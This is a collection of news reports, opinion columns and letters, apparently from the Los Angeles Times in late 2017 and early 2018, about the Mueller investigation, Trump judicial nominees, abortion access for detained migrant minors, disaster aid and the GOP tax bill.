Last week, several law professors and the executive director of Fix the Court, a group that lobbies for greater Supreme Court transparency, asked Roberts to use his forthcoming Year-End Report on the Federal Judiciary to assure those considering coming forward with complaints about members of the judiciary that they will be heard and that justice will be done. The letter also asked the chief justice to add prevention of sexual harassment to the agenda of the next meeting of the U.S. Judicial Conference.

As the revelations about Harvey Weinstein reminded us, some influential people will abuse their power to take advantage of women (and men) who are dependent on them for their livelihoods and professional advancement. The judiciary is not immune, and its leaders should join the rest of society in making sure its workplaces are safe for all.

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Rumors are flying that President Trump will try to fire special counsel Robert S. Mueller III by the end of the year.

Although this nightmarish prospect cant be counted as likely, and Trump insists hes not contemplating it, there are several reasons why he will not see a better time to lower the boom  and the White House has surely taken them into account.

First, there are strong signs that Mueller may soon indict Jared Kushner, the presidents son-in-law and advisor. Kushners lawyer has been quietly shopping for a crisis response team of the sort brought on board for criminal prosecutions. Kushners indictment would be a disaster for the president: Either his son-in-law goes to prison, or cooperates by providing the mother lode of inculpatory information. Probably no one, except possibly Donald Trump Jr., knows more about Trumps activities as president, candidate and entrepreneur. (Remember that Deutsche Bank, whose records Mueller recently subpoenaed, lent Kushner $285 million in addition to its highly questionable loans to Trump.)

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The coordinated onslaught against the FBI and Justice Department from the Hill lends Trump a measure of cover for moving to shut down the investigation.

Second, the coordinated onslaught against the FBI and Justice Department from the Hill lends Trump a measure of cover for moving to shut down the investigation. Republican Sen. John Cornyn of Texas, the majority whip, recently joined the chorus with a demand that Mueller  clean house of partisans. Never mind that the attacks are 100% bogus: Anti-Hillary Clinton sentiment among FBI agents in 2016 far outstripped  in quantity and quality  any mutterings against Trump. Equally bogus is the recent charge that Mueller improperly obtained emails of the Trump transition: There is no 4th Amendment protection of transition emails, which are on government servers with government addresses, and no executive privilege since the Trump team was not yet in office. These counterfeit arguments are strictly for public relations purposes.

Third, Congress is about to leave town for Christmas break, leaving Washington at its sleepiest and least prepared for a nimble response.

Fourth, Trumps lawyers have scheduled a meeting with Muellers team for later this week, and the script has already been written. Trumps team will ask about the progress of the investigation and when it will end; Muellers side will respond that there has been significant progress but there is still much to do and they cannot estimate an end date. Trump will then have his rabble-rousing talking point. For months, Trumps lawyers and the White House staff have been claiming that, as Press Secretary Sarah Huckabee Sanders reiterated just Friday, [w]e expect this process to wrap up soon. There never was any basis for the expectation, which experienced prosecutors would find ludicrous, other than to set up a public argument that the inquiry has gone on too long and needs to be shut down.

There is one glaring problem with that position, which is that it is hard to see how the process can wrap up to the publics satisfaction without testimony of some sort from Trump. But Trumps lawyers may have concluded that he should avoid the expected reckoning with a skillful questioner, given the multiple, contradictory accounts of key events he has provided to date. The very best he could hope for would be the worst day of his public life, made to look like a doddering fool and forced into a refrain of I dont recalls. Or he might answer some questions and expose himself to multiple counts of perjury.

As Ive written before, if Trump does move to fire Mueller, we cant count on immediate consequences.

He would first have to find someone at the Justice Department willing to be remembered as his political stooge. And he would have to force the resignations of everyone above that person. It might be years before the department is able to regain its full footing.

Mueller surely has already banked important evidence against the president by requiring his former national security advisor, Michael Flynn, to give his full story to state authorities and possibly to a federal grand jury. But state attorneys general may not be able to step into the breach. The Office of Legal Counsel has issued two opinions concluding that the president cannot be indicted during his term in office; if that position is correct, it would imply that the federal Constitution likewise bars state authorities from bringing charges against a sitting president.

The focus, then, would turn to Congress. Its possible lawmakers could reconstitute the investigation in some hobbled fashion, but the effort would take months. And any attempt to remove Trump from office would need to secure the support of 15 or so Senate Republicans, which still seems highly unlikely.

Crippled in public support and exposed as a boor and a rogue, Trump may yet survive to the end of his term  a feat hell define as winning, always his paramount concern. As he memorably promised the country more than a year ago, were going to win so much, youre going to be sick and tired of winning.

Harry Litman, a former United States attorney and deputy assistant attorney general, teaches at UCLA Law School and practices law at Constantine Cannon. Follow @harrlitman

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Matthew Petersen, whose excruciating interrogation by Sen. John Kennedy (R-La.) went viral last week, has withdrawn as President Trumps nominee for a federal district judgeship in the District of Columbia.

And, as if Petersen wasnt embarrassed enough by his inability to define some basic legal terms in response to Kennedys questions, the failed nominee  a federal election commissioner  is the subject of a headline in the Onion: Trump-Appointed Judicial Nominee Displays Legal Expertise By Withdrawing Nomination.

Petersen, a favorite of White House counsel Don McGahn, is the third Trump judicial nominee to fall by the wayside. The administration also has withdrawn the district court nominations of Brett Talley, who has never tried a case, and Jeff Mateer, who once said the existence of a transgender child was evidence of Satans plan. (An American Bar Assn. panel rated Talley not qualified, while Petersen received a unanimous rating of qualified and Mateer received a qualified rating from a substantial majority of ABA assessors.)

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Senate Democrats, who have accused the Trump administration of rushing judicial nominees through the confirmation process, are claiming vindication. Sen. Dianne Feinstein of California the ranking Democrat on the Judiciary Committee, said: This is a clear signal that the White House isnt properly vetting nominees but instead counting on Senate Republicans to jam them through with minimal review.

Fair enough. Democrats are right to oppose marginally qualified or poorly prepared Trump judicial nominees, or those who owe their nominations to cronyism rather than credentials. (And Republicans should join them, which is why Kennedys attitude is so edifying.)

But heres the thing: Democrats also oppose some Trump nominees whose professional and scholarly credentials are exquisitely in order.

Leave aside the Democrats almost universal opposition to Supreme Court nominee Neil Gorsuch: Thats a special case because of the Republican-controlled Senates outrageous refusal to act on President Obamas nomination of Merrick Garland for the vacancy that Gorsuch ultimately filled.

But most Democrats, Feinstein included, also voted against two prominent Trump appeals court nominees: Joan Larsen, a Michigan Supreme Court justice nominated to the U.S. 6th Circuit Court of Appeals, and Notre Dame Law School professor Amy Barrett, nominated to the 7th Circuit. (Implying that Barretts fervent Catholic faith might interfere with her impartiality on the bench, Feinstein told the nominee that the dogma lives loudly within you.)

Larsen received a unanimous well qualified rating from the ABA; a majority of the ABA panel that evaluated Barrett rated her well qualified while a minority rated her qualified.

Its true that Democrats can oppose some Trump judicial nominees because they lack adequate credentials while voting against others for different reasons  such as that they are deemed to be unable to separate their religious beliefs from their legal duties. Feinstein also has expressed a concern about Trump subcontracting the selection of judges to conservative outside groups, an apparent reference to the Federalist Society.

Yet, listening to Democrats, you might get the impression that Trump is flooding the Judiciary Committee with judicial nominees who are incompetents or nut jobs. In fact (thanks largely to advice from those conservative outside groups Feinstein deplored), many if not most of Trumps nominees are competent conservatives of the sort likely to be advanced by any Republican president.

In these polarized times, that, rather than any deficiency in paper credentials or lack of legal knowledge, is what Democrats find objectionable. Republicans reacted in a similarly knee-jerk way, of course, when Obama was trying to place his stamp on the courts (and not just the Supreme Court).

But dont pretend that most of the votes cast against judicial nominees are about credentials or the lack of them.

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To the editor: Since when does a president looking down the barrel of impeachment get to fire the special counsel in case hes getting too close? (Trump: No, Im not firing Mueller, as allies step up attacks on special counsel probe, Dec. 17)

Maybe someone should tell President Trump and his lawyers about the holding in United States vs. Nixon, in which the Supreme Court ruled that no president is above the law and executive privilege does not protect the president, especially in a potentially criminal matter.

Whats going on in America now with the Republicans in office? You can feel them looking down on us ready to do whatever they please. What arrogance.

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Philip Palermo, Corona

..

To the editor: Two months ago, the media upchucked for days that U.S. Atty. Gen. Jeff Sessions was toast. He is still very much on the job.

One month ago, media outlets fell over themselves reporting that U.S. Secretary of State Rex Tillersons departure was imminent. Last week, Tillerson was not only still in the saddle, but also, on his own, proposed no preconditions for talks with North Korea.

Now the Los Angeles Times, in the Monday print editions front-page lead story, reports on speculation that Trump will fire special counsel Robert S. Mueller III. Fake news is real.

Bob Munson, Newbury Park

..

To the editor: In October, Trump sent out a tweet demanding that Republicans do something regarding the Mueller investigation. Sure enough, Trumps hoax narrative (with the help of Fox News) has picked up steam among Republicans in efforts to discredit Mueller, his team and the FBI. Do not be surprised if any or all of the following happens soon:

Trump fires Mueller; Republicans call for an end to ongoing House and Senate investigations, parroting Trumps denigration of the special counsel and the FBI; or members of Congress shrug at any biased conclusion by Mueller and the FBI of wrongdoing and do nothing.

A few questions: Since when does a key figure connected to the investigation get to set the scope of what the investigators can look at? Can only Republicans investigate Republicans, and wouldnt that be biased (both Mueller and Comey are  or at least were  Republicans)? How many hoaxes are there that result in the indictments of four people connected to a presidential campaign?

Chris Fite, Spring Valley, Calif.

Follow the Opinion section on Twitter @latimesopinion and Facebook.
Trump administration officials must allow two pregnant teenage immigrants being held in detention facilities to see doctors about having abortions, a federal judge ruled Monday.

U.S. District Judge Tanya Chutkan in Washington issued a temporary restraining order that bars administration officials from preventing the two 17-year-olds from leaving the shelters. One of the immigrants is 10 weeks pregnant and the other is in her 22nd week, according to the judges order.

Officials are required to transport the two or allow them to be transported, promptly and without delay  to an abortion provider, in order to obtain any pregnancy or abortion-related medical care, the judge said.

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Within an hour, administration lawyers said they would allow the girl who is 22 weeks pregnant to have an abortion.

But, moving with unusual speed, they asked the appeals court and the U.S. Supreme Court to grant a two-week stay to allow judges to consider an appeal in the case of the other teenager or for the government to find a private sponsor who could house her.

Officials have been blocking both teenagers from leaving the detention facilities, following a Trump administration policy that seeks to prevent any immigrant in detention from obtaining an abortion. The abortions would be paid for with private funds as the government does not provide or pay for abortions, except in cases of rape, incest or a threat to the womans life.

Without the stay, an abortion is very likely to occur imminently, Justice Department lawyers told the courts. At issue, they said, is whether the government must facilitate an abortion procedure that is not necessary to preserve the life or health of an unaccompanied minor who unlawfully entered the country.

Judge Chutkan, an Obama administration appointee, had agreed to put her order on hold for 24 hours to preserve the opportunity to seek emergency relief from the D.C. Circuit if the administration chooses to appeal.

ACLU attorney Brigitte Amiri accused the administration of a cruel and dystopian crusade to block abortion access for some of the most marginalized people in our country.

Were prepared to keep fighting for as long as we need to, she said in a statement.

The judges order reignites a bitter battle between the American Civil Liberties Union and the Trump administration over abortion rights for young women taken into custody after crossing the border illegally. Minors who surrender to immigration officials after entering the U.S. without parents are usually kept in detention facilities.

Before this year, unaccompanied migrants in detention could obtain an abortion if they paid for it with private funds.

In March, the new administration adopted a policy that went a step beyond refusing to pay for abortions. The new rules prohibit federally funded shelters from taking any action that facilitates abortion without written approval from the director of the Office of Refugee Resettlement.

The new director, E. Scott Lloyd, is a former attorney for the the Catholic fraternal organization Knights of Columbus and a staunch opponent of abortion. In court documents, administration lawyers said that allowing a pregnant minor to leave a shelter to see a doctor would entail facilitating an abortion.

In October, the ACLU sued Lloyd and other Trump administration officials and accused them of wielding an unconstitutional veto power over abortion. They said thousands of unaccompanied immigrant minors were in government custody. Many of them fled to the United States because of abuse and sexual assaults in their home country, they said.

In response, the administration said these young women were free to leave the detention centers if they agreed to leave this country and to return home.

The ACLU won an order in October on behalf of a 17-year-old Jane Doe who was 11 weeks pregnant when she asked for an abortion. A Texas judge decided she was mature enough to make the decision on her own. And Chutkan ruled U.S. officials could not block her from seeing a doctor about an abortion.

The administration quickly appealed, and the dispute divided the U.S. Court of Appeals for the District of Columbia Circuit along ideological and political lines. In a 6-3 decision, the appeals court upheld Chutkans order. The six judges in the majority were Democratic appointees, including Chief Judge Merrick Garland, President Obamas Supreme Court nominee who was blocked by Senate Republicans. The three dissenters were Republican appointees, including Brett Kavanaugh, a leading contender for the next Supreme Court seat under President Trump.

On the morning after the ruling, the teenager had an abortion before the administration could lodge an emergency appeal with the Supreme Court.

This was a total surprise. And were disturbed about it, Atty. Gen. Jeff Sessions said in a Fox News interview.

A few days later, the administration sent an highly unusual appeal to the high court that accused the ACLU lawyers of deception and asked for some punishment against them. The justices have not acted on the request.

david.savage@latimes.com

On Twitter: DavidGSavage

UPDATES:

5:04 p.m.: This article was updated with the Justice Departments appeal and the administrations agreement to allow one of the girls to obtain an abortion.

The article was originally published at 3:40 p.m.
Congress is set to consider an $81-billion disaster aid package that includes wildfire recovery money for California and other Western states as well as hurricane relief with a price tag reflecting a year of record-setting natural calamities.

The legislation, the text of which was released late Monday, would provide almost twice as much as the $44 billion the White House sought last month to cover relief efforts along the Gulf Coast and in the Caribbean.

Republican congressional leaders added more money after California lawmakers objected that the administration had failed to include help for areas damaged by wildfires and Democrats protested that the overall amount President Trump asked for was insufficient.

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House Speaker Paul D. Ryan (R-Wis.) promised Californians additional wildfire relief after the Thomas fire erupted in early December.

I just want to say to the people in Southern California, we want you to know that were thinking of you as you deal with these devastating fires that continue to tear through your region, Ryan said at the time. We are here to help.

Precisely how much of the money would go to fire relief remained unclear Monday as House leaders did not release a detailed geographic breakdown of the spending.

If approved later this week, the package would bring to $130 billion the amount Congress has spent this year on a particularly destructive season of hurricanes that tore through Florida, Louisiana, Texas, Puerto Rico and the Virgin Islands and wildfires that are still burning in California.

Congress has approved two previous disaster aid packages this year, and included about $500 million for wildfire recovery efforts in those earlier bills.

By comparison, Congress approved about $60 billion in disaster aid funds after Hurricane Sandy did major damage to parts of the Northeast in 2013.

Scientists have warned the U.S. faces escalating costs for disasters in coming years as a warming climate makes severe weather more frequent and also aggravates droughts and fire hazards in the West.

As costs have mounted, passing disaster aid has become an increasingly difficult exercise for Congress. The latest package is expected to draw some resistance from conservative Republicans, and will probably need Democratic votes, particularly in the House, to ensure passage.

Democrats said they had little input in crafting the plan, and voiced criticism of its provisions as they began to study it.

The top Democrat on the House Appropriations Committee, Rep. Nita M. Lowey of New York, especially criticized the way the aid package dealt with Puerto Ricos needs.

Had the majority worked with Democrats in a bipartisan way, these shortcomings could have been fixed prior to introducing the package, she said.

House Majority Leader Kevin McCarthy (R-Bakersfield) may bring the bill to the House floor as a stand-alone measure, without linking it to other year-end GOP priorities, to make getting Democratic votes possible.

The House is set to vote as soon as Wednesday, with the Senate expected to quickly follow before lawmakers leave town for the holiday recess.

One sticking point for many Republicans is likely to be whether the new spending needs to be offset with cuts elsewhere in the federal budget. Even before Republicans held the majority, conservatives often opposed disaster aid bills because of a lack of offsetting cuts.

Paying for disaster relief by cutting elsewhere is a preference now shared by at least some officials in the White House, including Mick Mulvaney, a former tea party congressman who is Trumps director of the Office of Management and Budget.

The administration believes it is prudent to offset new spending, Mulvaney wrote when requesting funds from Congress in November.

In Congress, however, the desire to help constituents facing dire emergencies outstrips the willingness to consider more cuts in programs that many lawmakers feel already have been trimmed too far. The current package would not include offsets to the new spending, congressional officials said.

The White House declined to include additional money for fire relief in its most recent request to Congress, which was made Nov. 17, after Northern California was still recovering from the wine country fires but before the Thomas fire. Instead, Mulvaney had suggested Congress consider providing tax deductions to compensate people for property losses as a result of the fires.

That generated heated protests from California lawmakers.

Its appalling the White House is choosing to ignore the victims of Californias wildfires, California Democratic Sens. Dianne Feinstein and Kamala Harris said in a statement at the time. They called the funding a completely inadequate response to all of the recent natural disasters, but its particularly egregious that no money was included to help Californians rebuild.

Republicans have also resisted providing emergency funding for Puerto Rico, where residents continue to struggle without electricity after Hurricane Maria devastated the island.

The new aid package splits the money among various agencies, with $26.7 billion for the Federal Emergency Management Agency and $26.1 billion for Community Development Block Grants for disaster recovery.

Additionally, $12 billion would go to the Army Corps of Engineers for rebuilding, and other funds would help with education, small-business loans, economic development grants and other assistance.

This legislation is the next step in helping our fellow Americans recover from multiple, back-to-back, devastating disasters, including some of the largest major hurricanes, wildfires and agriculture losses this country has ever seen, said Rep. Rodney Frelinghuysen (D-N.J.), chairman of the House Appropriations Committee.

We have a commitment to our fellow citizens, he said. We must provide the necessary resources for them to recover from these emergencies.

lisa.mascaro@latimes.com

@LisaMascaro

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8:15 p.m.: The story was updated with reaction from House Democrats.

The story was originally published at 7:10 p.m.
The House and Senate passed the sweeping GOP tax plan on near-party-line votes as congressional Republicans moved to give President Trump his most significant legislative victory of the year  one that has come at a steep political cost.

Polling indicates the $1.5-trillion package remains broadly unpopular, contributing to a political environment in which surveys, including some by Republican groups, show the party in serious danger of losing control of Congress in next years midterm election.

Those political problems may be especially acute in parts of California, where the bill, sold as a tax-cut, is expected to lead to tax increases for a significant number of individuals and families. Thats largely because it curtails the current deduction for state and local income and property taxes.

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Many of those voters live in affluent suburban areas, such as Orange County, that have often backed Republicans. Democrats already have gained in suburbs nationwide this year and believe the tax bills unpopularity will give them an opening to sway more voters to their side.

Concern over the state and local tax deduction led two Southern California Republicans, Reps. Darrell Issa of Vista and Dana Rohrabacher of Costa Mesa, to join others from New York and New Jersey, which are similarly affected, in voting against the bill in the 227-203 House roll call Tuesday. In all, 12 Republicans opposed the tax plan. No Democrats voted for it.

Senate approval shortly after midnight fell similarly along party lines, 51 to 48, with only Republicans voting yes. Republican Sen. John McCain, who returned home to Arizona as he fights brain cancer, did not vote.

Republicans have been rushing the bill to passage  Trump tweeted congratulations after the House vote for what he has called a Christmas gift for Americans  but it ran into a last-minute problem in the Senate.

Some small provisions, including one pushed by Sen. Ted Cruz (R-Texas) that would have expanded college savings plans to allow use for home-schooling, were ruled to violate the chambers procedures and some of the language had to be stripped from the bill.

Fixing that glitch will require an unusual additional vote in the House, which was quickly scheduled for Wednesday, before the bill can be sent to Trump for his signature.

Republican leaders say the overhaul, which is centered on a huge cut in corporate taxes, will spur economic growth and become more popular once it takes effect.

No concerns whatsoever, said House Speaker Paul D. Ryan (R-Wis.), who has spent his career trying to lower taxes and shrink government.

When we get this done and people see the withholding improvement, when they see the jobs occurring, when they see bigger paychecks, he told reporters, thats whats going to produce the results.

In saying that, however, Ryan sounded much like one of his predecessors as speaker, Rep. Nancy Pelosi (D-San Francisco), who insisted in 2010 that the Affordable Care Act, passed with only Democratic votes, would become more popular once Americans experienced it. It didnt  at least not right away  and instead contributed heavily to the Democrats losing their House majority that year.

On Tuesday, Pelosi called the tax bill an all-out looting of America.

This is the worst bill to ever come to the floor of the House, Pelosi said. The American people see this tax scam for exactly what it is.

Before the House vote, protesters in the gallery shouted, Kill the bill! and interrupted speeches by Ryan and other lawmakers. Hours later, similar protests interrupted the final Senate roll call.

Americans reject the tax plan by a wide margin, roughly 2 to 1, according to a new Monmouth University poll. In a Wall Street Journal/NBC poll released Tuesday, just 24% of respondents said the tax bill was a good idea, compared with 41% who called it a bad one  a significant decline from the bills standing earlier this fall.

Senate Majority Leader Mitch McConnell of Kentucky conceded that Republicans hadnt yet convinced Americans of the merits of the bill.

Were just beginning to make the argument to the American people, McConnell told reporters, despite the months of debate over the tax measure. The argument is still out there to be won.

The legislation will provide much-needed relief to middle-class families and small businesses, and will set America on a trajectory towards more opportunity and greater prosperity, he said earlier in the day.

Outside analysts, though, have warned that the benefits of the tax overhaul will largely flow to corporations and the wealthy, with lower- and middle-income households seeing only modest improvements.

Moreover, the cut in corporate tax rates will be permanent, while the breaks for individuals and families are scheduled to expire in 2025.

The nonpartisan Tax Policy Center estimates that households will see their taxes reduced by $1,600, on average, in 2018. Thats on par with Republican claims.

But those savings are uneven across income levels.

Taxpayers earning less than $25,000 will save about $60 a year, while the top 1%, earning more than about $733,000 annually, would see a roughly $50,000 cut, or 3.4% of their after-tax income. Middle-income taxpayers, earning between $49,000 and $86,000, would see an average tax cut of about $900.

Among middle- and upper-middle-income households, results will vary widely, depending not only on state and local taxes, but also on the number of children they have and even how they earn their income. The measure treats income from businesses more favorably than wages.

The basic story of the bill has remained the same since it was first introduced in early November, Tax Policy Center analyst Howard Gleckman wrote. Most households would get a tax cut at first, with the biggest benefits going to those with the highest incomes.

Central to the legislation is a reduction in the corporate tax rate from 35% to 21%. Republicans say the resulting economic growth will more than cover the cost to the Treasury. Most independent economists, however, warn that growth will not be so robust and that the $1.5-trillion package will add to the federal deficit.

For individuals, the tax bill is mixed. Once envisioned as a simplification that would allow Americans to file tax returns on a postcard, it has not fully met that goal. Rates will be lowered, including the new top rate of 37%, which will hit households earning $600,000 or more.

A bigger standard deduction, at $12,000 for single filers or $24,000 for couples, is intended to replace many popular write-offs.

The state and local tax deduction will be capped at $10,000, covering both income and property taxes. Mortgage interest deductions will be limited to loans of $750,000, rather than the $1 million in current law, a change that is expected to ripple through housing markets in high-cost areas.

Other deductions that had been targeted for elimination were salvaged in last-minute negotiations between House and Senate Republicans, including those for medical expenses, student loan interest and graduate student tuition waivers.

A child tax credit championed by Sens. Marco Rubio (R-Fla.) and Mike Lee (R-Utah), with backing from presidential advisor and daughter Ivanka Trump, will be doubled to $2,000. Part of that, $1,400, will be refundable for those who pay payroll taxes but dont owe income tax.

The legislation will effectively repeal the Affordable Care Acts mandate that all Americans carry health insurance, starting in 2019, by doing away with a tax on those who fail to have coverage.

Republicans shrug off the poor standing the bill has in polls as no different from the last major rewrite of the tax code, under President Reagan in 1986. But the current proposal is significantly less popular than that one.

As Monmouth warned in its analysis of the polling data, the bill gets especially poor ratings in suburban areas where the Republicans already have struggled this year.

The package doesnt play well in areas of the country that the GOP needs to win in 2018, the university said.

Republicans in Congress, though, have pushed past those worries. Theyve been eager to deliver a legislative win for Trumps first year in office and make good on some of their campaign promises before facing voters, especially after the collapse of their efforts to repeal Obamacare.

Many of the tax cuts will take effect in the new year, meaning workers can adjust their withholding to see the change in their paychecks.

Despite the GOPs majorities in both houses of Congress, passing the tax cut has not been easy.

To win over holdouts, Republican leaders included various provisions, including one to open the Arctic National Wildlife Refuge to oil and gas drilling, which was important to Sen. Lisa Murkowski (R-Alaska).

Republican Sen. Susan Collins, a centrist from Maine, announced her support after winning other concessions, including future votes to help stabilize Obamacare marketplaces.

The lone Senate Republican who opposed the overhaul earlier, Sen. Bob Corker of Tennessee, now supports the bill, brushing back criticism that he will personally benefit from it.

As the Senate cast the final roll-call vote, Treasury Secretary Steven T. Mnuchin watched from the chambers floor. Vice President Mike Pence, who had postponed a Middle East trip so he could be on hand if needed to cast a tie-breaking Senate vote, presided.

Its so important I would not be able to comprehend not getting it done, said Rep. Chris Collins (R-N.Y.), a Trump ally.

We were always going to be attacked that it was a tax cut for the wealthy, even though its not, he said. The public doesnt understand it.

Staff writer Sarah D. Wire in Washington contributed to this report.

lisa.mascaro@latimes.com

@LisaMascaro

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UPDATES:

9:40 p.m.: This article was updated to reflect Senate passage of the bill.

1:50 p.m.: This article was updated with news that a procedural issue in the Senate is expected to require an additional vote in the House on Wednesday.

1:25 p.m.: This article was updated with additional information about the political impact in suburban areas.

12:05 p.m.: This article was updated with additional details on the vote in the House.

The article was originally published at 11:25 a.m.
Despite weeks of consternation from some California House Republicans, a dozen joined their colleagues to pass a tax overhaul Tuesday, saying the plan would give most of their constituents a tax cut even as it slashed popular deductions.

Two  Darrell Issa and Dana Rohrabacher  voted against the plan.

Polls show the plan is unpopular in the state  only about 20% of Californians in a recent survey said they thought the $1.5-trillion plan would have a positive effect on their lives  but several members who face potentially tough battles for reelection signed on in order to help pass the partys only major legislative achievement this year.

The Senate was also expected to pass the bill Tuesday, but, because of procedural hiccups, the House will have to vote on the bill again Wednesday before sending it to President Trump for his signature. The divisive bill passed with no support from House Democrats, including the 39 from California.

Reps. Mimi Walters of Irvine and Steve Knight of Palmdale were among the vulnerable Republicans who had concerns about the final bill because of new caps on longstanding federal deductions that have softened the impact of Californias high income taxes and expensive homes. Both worked behind the scenes to retain a portion of the deductions for state and local taxes and increase the cap for the mortgage interest deduction.

The bill caps the interest deduction for new mortgages at $750,000 of the loan, down from $1 million, but up from an initial $500,000 proposal. It also caps the previously unlimited state and local tax deduction to $10,000, far below the $22,000 average deduction taken by a third of California taxpayers.

Though many California taxpayers are expected to see an initial income tax cut under the plan, a significant number will probably have higher taxes because of the lost deductions. Analysts also expect the biggest cuts to flow to corporations and the states wealthiest residents.

Knight said the changes turned what would have been a tax increase into a tax cut for his constituents. While a Times analysis of new mortgages in his district this year shows a tiny fraction would be worth more than the deduction cap, about 42% of his constituents took a state and local tax deduction in 2015.

We just couldnt find anywhere where people were going, Look, this is a tax increase, he said. It works out.

Almost half of Walters constituents take the state and local tax deduction. But she said she thinks the deduction changes, and subtle shifts the bill makes to the income ranges in each tax bracket, mean more people in the middle class will pay less in taxes, which has always been my goal.

I had said from the very beginning, if the middle-income Americans in my district are going to benefit from this tax package, then Im going to support it, she said.

How did California's Republicans vote on the tax bill? All 39 Democrats in California's congressional delegation opposed the bill. Here is how the Republicans in the delegation voted: Representative Party District GOP tax vote Representative Ken Calvert Party Republican District 42 GOP tax vote Yes  Representative Paul Cook Party Republican District 8 GOP tax vote Yes  Representative Jeffrey Denham Party Republican District 10 GOP tax vote Yes  Representative Duncan Hunter Party Republican District 50 GOP tax vote Yes  Representative Darrell Issa Party Republican District 49 GOP tax vote No  Representative Steve Knight Party Republican District 25 GOP tax vote Yes  Representative Doug LaMalfa Party Republican District 1 GOP tax vote Yes  Representative Kevin McCarthy Party Republican District 23 GOP tax vote Yes  Representative Tom McClintock Party Republican District 4 GOP tax vote Yes  Representative Devin Nunes Party Republican District 22 GOP tax vote Yes  Representative Dana Rohrabacher Party Republican District 48 GOP tax vote No  Representative Edward Royce Party Republican District 39 GOP tax vote Yes  Representative David Valadao Party Republican District 21 GOP tax vote Yes  Representative Mimi Walters Party Republican District 45 GOP tax vote Yes 

Californias Democrats have complained that the plan disproportionately punishes the state, and have lashed out at Californias House Republicans.

Today, 12 California Republicans betrayed their constituents and their state to perpetrate a monumental theft from hard-working Californians. The GOP tax scam has particularly devastating consequences for middle class families in our state, and Californians will not forget the Republicans who pushed this monstrous bill over the finish line, House Minority Leader Nancy Pelosi (D-San Francisco) said in a statement Tuesday.

Republicans brushed off attacks from Democrats over many aspects of the bill, including big provisions such as the elimination of the Affordable Care Act requirement that all people purchase health insurance, and lesser-known cuts such as slashed deductions for disasters and clean-energy vehicles. California members who helped write the tax plan have said the state should lower state and local taxes if they want to help Californians.

This is Americas comeback. This is the beginning, this is the opportunity, Majority Leader Kevin McCarthy of Bakersfield told reporters before the vote.

Though McCarthy has been credited with keeping the California delegation relatively united on the tax plan, two California Republicans from wealthy districts decided the tax plan would do too much damage to their voters. They joined the majority of Republicans in the similarly high tax states of New York and New Jersey to vote against the bill.

Before voting against the bill, Issa of Vista, who is considered to be among the most vulnerable Republicans running for reelection next year, called the state and local tax cap minuscule and said changes to the final version didnt do enough for his constituents.

"I still fear that, even in the revised proposal, many in my area could face higher taxes under this plan," Issa said in a statement. "Californians have entrusted me to fight for them. I will not vote to make the incredible tax burden they already endure even worse.

Another vulnerable member, Rohrabacher of Costa Mesa, said the bill had not been improved enough to help many of his constituents along the coast.

The leadership and the House Republicans did a lot to improve the bill  but it wasnt good enough, Rohrabacher said. This truly will raise the taxes of a substantial number of my constituents and I have never run for Congress on the promise that I would raise my constituents taxes.

Concerns that the bill would raise taxes on their constituents also prompted Issa, Rohrabacher and Rep. Tom McClintock (R-Elk Grove) to vote against the initial House version.

McClintock, who voted for the plan, said Monday night he was satisfied with the changes made during negotiations between the House and Senate, known as a conference. He was the only House Republican who changed his vote on the final bill. McClintocks suburban Sacramento and rural Sierra Nevada district isnt expected to see as big of a hit from the lost deductions.

I have always believed that this bill would be good for the overall economy. The changes the conference report has made now makes me confident to look every one of my California constituents in the eye and say, This is also going to be good for your families, McClintock said.

In the Central Valley, where lower home prices mean less effect from the mortgage interest cap, Reps. Jeff Denham of Turlock and David Valadao of Hanford have said the changes to the tax code  especially the near doubling of the standard deduction  constitute a win for their constituents. Both are among Democrats top targets in 2018.

Democratic activists and candidates are gearing up to hold the vote against vulnerable California members next year, especially in the traditionally conservative bastion of Orange County, where Democrats must pick up a seat or two in order to win back control of the House.

Theyve blanketed the state with ads and held protests against the tax bill for weeks, and the bill has become a constant topic in fundraising requests. As the vote wrapped up Tuesday, the Democrats campaign arm announced new digital ads on the tax vote targeting the California Republicans, including Orange Countys Issa and Rohrabacher.

Fred Smoller, associate political science professor at Chapman University, said taxes are such an important issue for Orange County voters that the vote will be millstone around vulnerable members necks.

In Orange County, among Republicans, taxes are it. You could almost live or die by how you stand on taxes, Smoller said. Its a real tough vote.

sarah.wire@latimes.com

Follow @sarahdwire on Twitter

Read more about the 55 members of California's delegation at latimes.com/politics

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UPDATES:

5:05 p.m.: This article was updated with additional response from Democrats and other details.

2 p.m.: This article was updated with passage of the tax bill by the House and the breakdown of California representatives votes.

This article was originally published at 8:05 a.m.
Trump promotes sons Justice with Judge Jeanine interview President Trump promoted via Twitter an interview with his son Eric Trump just before it aired Saturday night on Fox News Justice with Judge Jeanine. Eric Trump on @JudgeJeanine on @FoxNews now!  Donald J. Trump (@realDonaldTrump) January 21, 2018 Eric Trump called into the show to defend his father from criticism prompted by the first government shutdown in more than four years, as well as a series of Womens March events that saw protesters in dozens of cities take to the streets to oppose the presidents policies. .@EricTrump joined me over the phone from Mar-a-Lago ! pic.twitter.com/Hro3TzUW52  Jeanine Pirro (@JudgeJeanine) January 21, 2018 Speaking to host Jeannine Piro  who is reportedly an old friend of the presidents  Eric Trump offered effusive praise for his father, ticking off glowing statistics to illustrate the strength of the U.S. economy and gains against Islamic State fighters overseas. My fathers working like no ones ever worked before to bring back this country and to fulfill his promise to make America great again, said the executive vice president of the Trump Organization. He also repeated a sentiment recently expressed on Twitter by his father: That Democratic lawmakers forced a government shutdown on the anniversary of the presidents inauguration in a bid to distract from his achievements. You look at this whole government shutdown, and the only reason they want to shut down government is to distract and to stop his momentum, Eric Trump said. I mean, my father has had incredible momentum. Hes gotten more done in one year than arguably any president in history. Facebook

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Trump tweets: a perfect day for all Women to March President Trump hailed the nationwide Womens March gatherings Saturday. On Twitter, the president called it a perfect day for all Women to March, seeming to imply that those taking part were celebrating his administrations accomplishments: Beautiful weather all over our great country, a perfect day for all Women to March. Get out there now to celebrate the historic milestones and unprecedented economic success and wealth creation that has taken place over the last 12 months. Lowest female unemployment in 18 years!  Donald J. Trump (@realDonaldTrump) January 20, 2018 Participants in the marches across the United States were actually seeking to deliver a powerful rebuke to Trumps policies and mount a crucial mobilization for this years midterm elections. But Trump continued to tout his administrations unprecedented success in tweets sent later in the day: Unprecedented success for our Country, in so many ways, since the Election. Record Stock Market, Strong on Military, Crime, Borders, & ISIS, Judicial Strength & Numbers, Lowest Unemployment for Women & ALL, Massive Tax Cuts, end of Individual Mandate - and so much more. Big 2018!  Donald J. Trump (@realDonaldTrump) January 20, 2018 The Trump Administration has terminated more UNNECESSARY Regulation, in just twelve months, than any other Administration has terminated during their full term in office, no 